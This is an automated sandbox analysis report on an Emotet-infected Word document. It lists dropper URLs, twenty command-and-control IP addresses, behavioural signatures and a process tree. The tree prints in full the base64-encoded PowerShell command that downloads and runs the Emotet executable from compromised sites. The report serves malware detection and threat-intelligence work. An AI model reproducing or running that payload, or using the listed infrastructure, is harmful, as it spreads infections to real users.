Analysis

  • max time kernel
    132s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    29/09/2020, 21:23

General

  • Target
    emotet_e2_b84c2da4ab10a702decf8a1bd04eee1ccd250b8b792bd32957cd1bcac6c50861_2020-09-29__211951806479._doc.doc
  • Size 187KB
  • Sample200929-1mkpsdfgjs
  • SHA256 b84c2da4ab10a702decf8a1bd04eee1ccd250b8b792bd32957cd1bcac6c50861
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://techiweek.com/wp-includes/FW6/

  • exe.dropper

    https://ravi-tools.com/js/1/

  • exe.dropper

    https://providedigital.com/wp-admin/Igvi3l/

  • exe.dropper

    https://nghiencauca.com/wp-includes/BOInu4E/

  • exe.dropper

    http://jietuo66.com/hwqsv/oC/

  • exe.dropper

    https://oklatu.com/wp-admin/i/

  • exe.dropper

    https://blog.thejobstack.com/pmloibg/M/

Extracted

Family
  • emotet

C2
  • 38.18.235.242:80

  • 5.196.108.189:8080

  • 121.124.124.40:7080

  • 104.236.246.93:8080

  • 113.61.66.94:80

  • 120.150.60.189:80

  • 91.211.88.52:7080

  • 47.144.21.12:443

  • 108.46.29.236:80

  • 139.162.108.71:8080

  • 134.209.36.254:8080

  • 139.59.60.244:8080

  • 66.65.136.14:80

  • 76.175.162.101:80

  • 174.106.122.139:80

  • 95.213.236.64:8080

  • 174.45.13.118:80

  • 50.35.17.13:80

  • 209.141.54.221:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b84c2da4ab10a702decf8a1bd04eee1ccd250b8b792bd32957cd1bcac6c50861_2020-09-29__211951806479._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABSAHYAYgB1ADkAMABnAD0AKAAnAEoAJwArACgAJwByACcAKwAnADgAYQBkAHUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAFIAbwBmAEkAbABFAFwAZgAyAGMANAB4AHQAawBcAHkAcQBfAGkAYgB4AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAGkAdABZAGAAUAByAE8AVABPAGAAYwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbABzACcAKwAnADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEIAcwBtAHcAYgBiAHQAIAA9ACAAKAAnAFgAYgAnACsAKAAnAHUAJwArACcAcQBrACcAKQArACgAJwBsACcAKwAnAGYAegBvACcAKQApADsAJABCAGQAYQBvAGEAcABjAD0AKAAnAFkAJwArACcAcgAnACsAKAAnAF8AXwAnACsAJwBfAGoAdQAnACkAKQA7ACQARgB6ADIAXwB0AGEAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFcAJwArACcAbwA1AEYAJwApACsAKAAnADIAYwAnACsAJwA0ACcAKwAnAHgAdABrACcAKQArACcAVwBvACcAKwAoACcANQBZAHEAXwAnACsAJwBpAGIAeAAnACkAKwAoACcAcABXAG8AJwArACcANQAnACkAKQAuACIAUgBlAGAAUABsAEEAQwBFACIAKAAoACcAVwAnACsAJwBvADUAJwApACwAJwBcACcAKQApACsAJABCAHMAbQB3AGIAYgB0ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAGcAeABqAGcAbgB6AD0AKAAnAEoAYQAnACsAJwBjAF8AJwArACgAJwAyACcAKwAnAG4AcAAnACkAKQA7ACQASgA0AG4AagBpAHoAOQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWQBfAHQAMABzAHEAZwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAJwB0ACcAKwAoACcAZQBjACcAKwAnAGgAaQB3AGUAZQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMALwBGAFcANgAnACsAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBhAHYAJwApACsAKAAnAGkAJwArACcALQB0AG8AbwBsAHMAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBqAHMALwAxACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACgAJwBwAHIAbwAnACsAJwB2AGkAJwApACsAJwBkACcAKwAoACcAZQBkAGkAJwArACcAZwAnACkAKwAoACcAaQB0AGEAbAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQBpACcAKwAnAG4AJwArACcALwBJAGcAdgBpACcAKwAnADMAJwArACcAbAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAG4AJwArACcAZwAnACkAKwAnAGgAaQAnACsAKAAnAGUAbgBjACcAKwAnAGEAdQBjAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQBpAG4AJwArACcAYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMALwAnACsAJwBCAE8AJwArACgAJwBJAG4AdQAnACsAJwA0AEUALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBqACcAKwAnAGkAJwArACcAZQB0AHUAbwA2ADYALgBjAG8AJwArACcAbQAvAGgAJwApACsAKAAnAHcAJwArACcAcQBzAHYALwBvACcAKQArACgAJwBDAC8AJwArACcAKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBvAGsAbABhAHQAJwArACcAdQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAbQBpAG4ALwAnACkAKwAoACcAaQAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBiAGwAJwArACcAbwBnAC4AJwApACsAKAAnAHQAaABlAGoAbwBiAHMAdAAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHAAJwArACgAJwBtAGwAJwArACcAbwBpACcAKQArACcAYgAnACsAKAAnAGcAJwArACcALwBNACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABxADgAYwA4AF8AcgA9ACgAJwBZACcAKwAnADMAJwArACgAJwB4AGwAJwArACcAOAA4AGMAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAHAAMAAzAGcAbQBlACAAaQBuACAAJABZAF8AdAAwAHMAcQBnACkAewB0AHIAeQB7ACQASgA0AG4AagBpAHoAOQAuACIARABgAG8AYABXAG4ATABvAGAAQQBkAGYAaQBMAGUAIgAoACQAWABwADAAMwBnAG0AZQAsACAAJABGAHoAMgBfAHQAYQB3ACkAOwAkAFcAZgA3AF8AYwBmAG0APQAoACgAJwBLADgAYgAnACsAJwBfACcAKQArACcAbQAnACsAJwBkAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAegAyAF8AdABhAHcAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADEAMAAwADMAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQARgB6ADIAXwB0AGEAdwApADsAJABRADUAdABuAHIAaABxAD0AKAAnAEQAJwArACcAbQBvACcAKwAoACcAMgAnACsAJwBuAGgAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVQBkAHYAcwBxAGwAYQA9ACgAJwBGAHkAJwArACgAJwBhACcAKwAnADAAcgAnACkAKwAnAGYANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAagBrAGMAdAA5AG8APQAoACcATAAnACsAKAAnAGoAOAA0ACcAKwAnADkAOQAnACsAJwBiACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe
      "C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:984
      • C:\Windows\SysWOW64\WinFax\cmifw.exe
        "C:\Windows\SysWOW64\WinFax\cmifw.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1336

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/984-24-0x0000000002700000-0x0000000002704000-memory.dmp

        memory/984-22-0x0000000000470000-0x0000000000474000-memory.dmp

        memory/984-19-0x00000000003D0000-0x00000000003E0000-memory.dmp

        memory/1336-28-0x00000000003B0000-0x00000000003C0000-memory.dmp

        memory/1488-29-0x000007FEF4EC0000-0x000007FEF513A000-memory.dmp

        memory/1508-6-0x0000000007030000-0x0000000007230000-memory.dmp

        memory/1508-2-0x0000000008A30000-0x0000000008A34000-memory.dmp

        memory/1652-9-0x000000001AB50000-0x000000001AB51000-memory.dmp

        memory/1652-13-0x000000001C2E0000-0x000000001C2E1000-memory.dmp

        memory/1652-12-0x000000001C250000-0x000000001C251000-memory.dmp

        memory/1652-11-0x0000000001E20000-0x0000000001E21000-memory.dmp

        memory/1652-10-0x00000000022E0000-0x00000000022E1000-memory.dmp

        memory/1652-8-0x0000000001D50000-0x0000000001D51000-memory.dmp

        memory/1652-7-0x000007FEF1810000-0x000007FEF21FC000-memory.dmp